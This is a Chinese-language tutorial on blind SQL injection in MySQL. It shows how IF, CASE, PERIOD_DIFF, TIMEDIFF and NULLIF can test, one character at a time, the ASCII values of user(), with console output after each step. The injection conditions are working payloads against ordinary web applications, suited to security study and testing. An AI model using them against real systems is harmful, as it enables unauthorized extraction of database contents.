0x00 基础数据

  1. mysql> select user();
  2. +---------------+
  3. | user() |
  4. +---------------+
  5. | root@localhost |
  6. +---------------+
  7. 1 row in set
  1. mysql> select * from test_table;
  2. +----+-------+
  3. | id | name |
  4. +----+-------+
  5. | 1 | bbb |
  6. | 2 | aaa |
  7. +----+-------+
  8. 2 rows in set

0x01 IF表达式

  1. 解释: SELECT IF(表达式, 表达式成立时返回, 表达式不成立时返回)

0x01.1 IF表达式例子

  1. mysql> select IF(1=1,1,0);
  2. +-------------+
  3. | IF(1=1,1,0) |
  4. +-------------+
  5. | 1 |
  6. +-------------+
  7. 1 row in set (0.00 sec)
  1. mysql> select IF(1=2,1,0);
  2. +-------------+
  3. | IF(1=2,1,0) |
  4. +-------------+
  5. | 0 |
  6. +-------------+
  7. 1 row in set (0.00 sec)

0x02 CASE表达式

  1. 解释1:
  2. select case 表达式
  3. when 判断条件 then 返回结果
  4. else 条件不成立时返回 end
  1. 解释2:
  2. case 后面紧跟要被作为判断的字段
  3. when 后面跟判断条件
  4. then 后面跟结果
  5. else 相当于 default
  6. end 是语句结束语

0x02.1 CASE表达式例子

  1. mysql> select case 1
  2. -> when 1 then '成功'
  3. -> when 2 then '失败'
  4. -> else '其他' end;
  5. ----------------+
  6. | 成功 |
  7. +---------------+
  8. 1 row in set, 3 warnings (0.00 sec)
  1. mysql> select case 2
  2. -> when 1 then '成功'
  3. -> when 2 then '失败'
  4. -> else '其他' end;
  5. ----------------+
  6. | 失败 |
  7. +---------------+
  8. 1 row in set, 3 warnings (0.00 sec)
  1. mysql> select case 3
  2. -> when 1 then '成功'
  3. -> when 2 then '失败'
  4. -> else '其他' end;
  5. ----------------+
  6. | 其他 |
  7. +---------------+
  8. 1 row in set, 3 warnings (0.00 sec)
  1. mysql> SELECT
  2. -> CASE
  3. -> WHEN 1 = 1
  4. -> THEN '真'
  5. -> ELSE '假'
  6. -> END;
  7. +----------------------------------+
  8. | |
  9. +----------------------------------+
  10. 1 row in set
  11. mysql> SELECT
  12. -> CASE
  13. -> WHEN 1 = 2
  14. -> THEN '真'
  15. -> ELSE '假'
  16. -> END;
  17. +----------------------------------+
  18. | |
  19. +----------------------------------+
  20. 1 row in set

0x03 PERIOD_DIFF() 函数

  1. PERIOD_DIFF(period1, period2) 返回两个时段之间的月份差值

0x03.1 例子

  1. # user() 第一位数据转ascii
  2. mysql> select ascii(substring(user(),1,1));
  3. +------------------------+
  4. | ascii(substring(user(),1,1)) |
  5. +------------------------+
  6. | 114 |
  7. +------------------------+
  8. 1 row in set
  1. # user() 第二位数据转ascii
  2. mysql> select ascii(substring(user(),2,1));
  3. +------------------------+
  4. | ascii(substring(user(),2,1)) |
  5. +------------------------+
  6. | 111 |
  7. +------------------------+
  8. 1 row in set
  1. # 表示注入失败的时候
  2. # 表示两个值相差1位
  3. # ascii(substring(user(),1,1)) = 114
  4. # 不为0就是表示True,那么页面就不会产生变化
  5. mysql> select PERIOD_DIFF(ascii(substring(user(),1,1)), 113);
  6. +----------------------------------------+
  7. | PERIOD_DIFF(ascii(substring(user(),1,1)), 113) |
  8. +----------------------------------------+
  9. | 1 |
  10. +----------------------------------------+
  11. 1 row in set
  12. # 匹配失败的时候页面的数据会返回正常,不产生变化
  13. mysql> SELECT * from test_table where id=1 and PERIOD_DIFF(ascii(substring(user(),1,1)), 113);
  14. +----+-------+
  15. | id | name |
  16. +----+-------+
  17. | 1 | bbb |
  18. +----+-------+
  19. 1 row in set
  1. # 表示注入成功的时候
  2. # 表示两个值相等
  3. # ascii(substring(user(),1,1)) = 114
  4. # 为0就是表示False
  5. mysql> select PERIOD_DIFF(ascii(substring(user(),1,1)), 114);
  6. +----------------------------------------+
  7. | PERIOD_DIFF(ascii(substring(user(),1,1)), 114) |
  8. +----------------------------------------+
  9. | 0 |
  10. +----------------------------------------+
  11. 1 row in set
  12. # 匹配成功的时候,因为函数返回了0 ,0表示False,所以就不查询数据出来了
  13. mysql> SELECT * from test_table where id=1 and PERIOD_DIFF(ascii(substring(user(),1,1)), 114);
  14. Empty set

0x04 TIMEDIFF() 函数

  1. TIMEDIFF(time1, time2) 计算时间差值

0x04.1 例子

  1. # user() 第一位数据转ascii
  2. mysql> select ascii(substring(user(),1,1));
  3. +------------------------+
  4. | ascii(substring(user(),1,1)) |
  5. +------------------------+
  6. | 114 |
  7. +------------------------+
  8. 1 row in set
  1. # user() 第二位数据转ascii
  2. mysql> select ascii(substring(user(),2,1));
  3. +------------------------+
  4. | ascii(substring(user(),2,1)) |
  5. +------------------------+
  6. | 111 |
  7. +------------------------+
  8. 1 row in set
  1. # 表示注入失败的时候
  2. # 表示两个值相差1位
  3. # ascii(substring(user(),1,1)) = 114
  4. # 不为0就是表示True,那么页面就不会产生变化
  5. mysql> SELECT TIMEDIFF(ascii(substring(user(),1,1)), 113);
  6. +-------------------------------------+
  7. | TIMEDIFF(ascii(substring(user(),1,1)), 113) |
  8. +-------------------------------------+
  9. | 00:00:01 |
  10. +-------------------------------------+
  11. 1 row in set
  12. # 匹配失败的时候页面的数据会返回正常,不产生变化
  13. mysql> SELECT * from test_table where id=1 and TIMEDIFF(ascii(substring(user(),1,1)), 113);
  14. +----+-------+
  15. | id | name |
  16. +----+-------+
  17. | 1 | bbb |
  18. +----+-------+
  19. 1 row in set
  1. # 表示注入成功的时候
  2. # 表示两个值相等
  3. # ascii(substring(user(),1,1)) = 114
  4. # 为0就是表示False
  5. mysql> SELECT TIMEDIFF(ascii(substring(user(),1,1)), 114);
  6. +-------------------------------------+
  7. | TIMEDIFF(ascii(substring(user(),1,1)), 114) |
  8. +-------------------------------------+
  9. | 00:00:00 |
  10. +-------------------------------------+
  11. 1 row in set
  12. # 匹配成功的时候,因为函数返回了0 0表示False,所以就不查询数据出来了
  13. mysql> SELECT * from test_table where id=1 and TIMEDIFF(ascii(substring(user(),1,1)), 114);
  14. Empty set

0x05 NULLIF(expr1, expr2)

  1. NULLIF(expr1, expr2) 比较两个字符串,如果字符串 expr1 expr2 相等 返回 NULL,否则返回 expr1

0x05.1 例子

  1. # user() 第一位数据转ascii
  2. mysql> select ascii(substring(user(),1,1));
  3. +------------------------+
  4. | ascii(substring(user(),1,1)) |
  5. +------------------------+
  6. | 114 |
  7. +------------------------+
  8. 1 row in set
  1. # user() 第二位数据转ascii
  2. mysql> select ascii(substring(user(),2,1));
  3. +------------------------+
  4. | ascii(substring(user(),2,1)) |
  5. +------------------------+
  6. | 111 |
  7. +------------------------+
  8. 1 row in set
  1. # 表示注入失败的时候
  2. # 匹配不相等的话返回的是 NULLIF 第一个参数的结果值
  3. mysql> select * from users where id =1 and NULLIF(ascii(substring(user(),1,1)),113);
  4. +----+----------+----------+
  5. | id | username | password |
  6. +----+----------+----------+
  7. | 1 | Dumb | Dumb |
  8. +----+----------+----------+
  9. 1 row in set (0.00 sec)
  1. # 表示注入成功的时候
  2. # 匹配相等会返回 NULL 所以sql不会返回数据
  3. mysql> SELECT * from test_table where id=1 and NULLIF(ascii(substring(user(),1,1)),114);
  4. Empty set
  1. # 获取到的数据转成十进制
  2. mysql> select concat(char('114'),char('111'));
  3. +---------------------------+
  4. | concat(char('114'),char('111')) |
  5. +---------------------------+
  6. | ro |
  7. +---------------------------+
  8. 1 row in set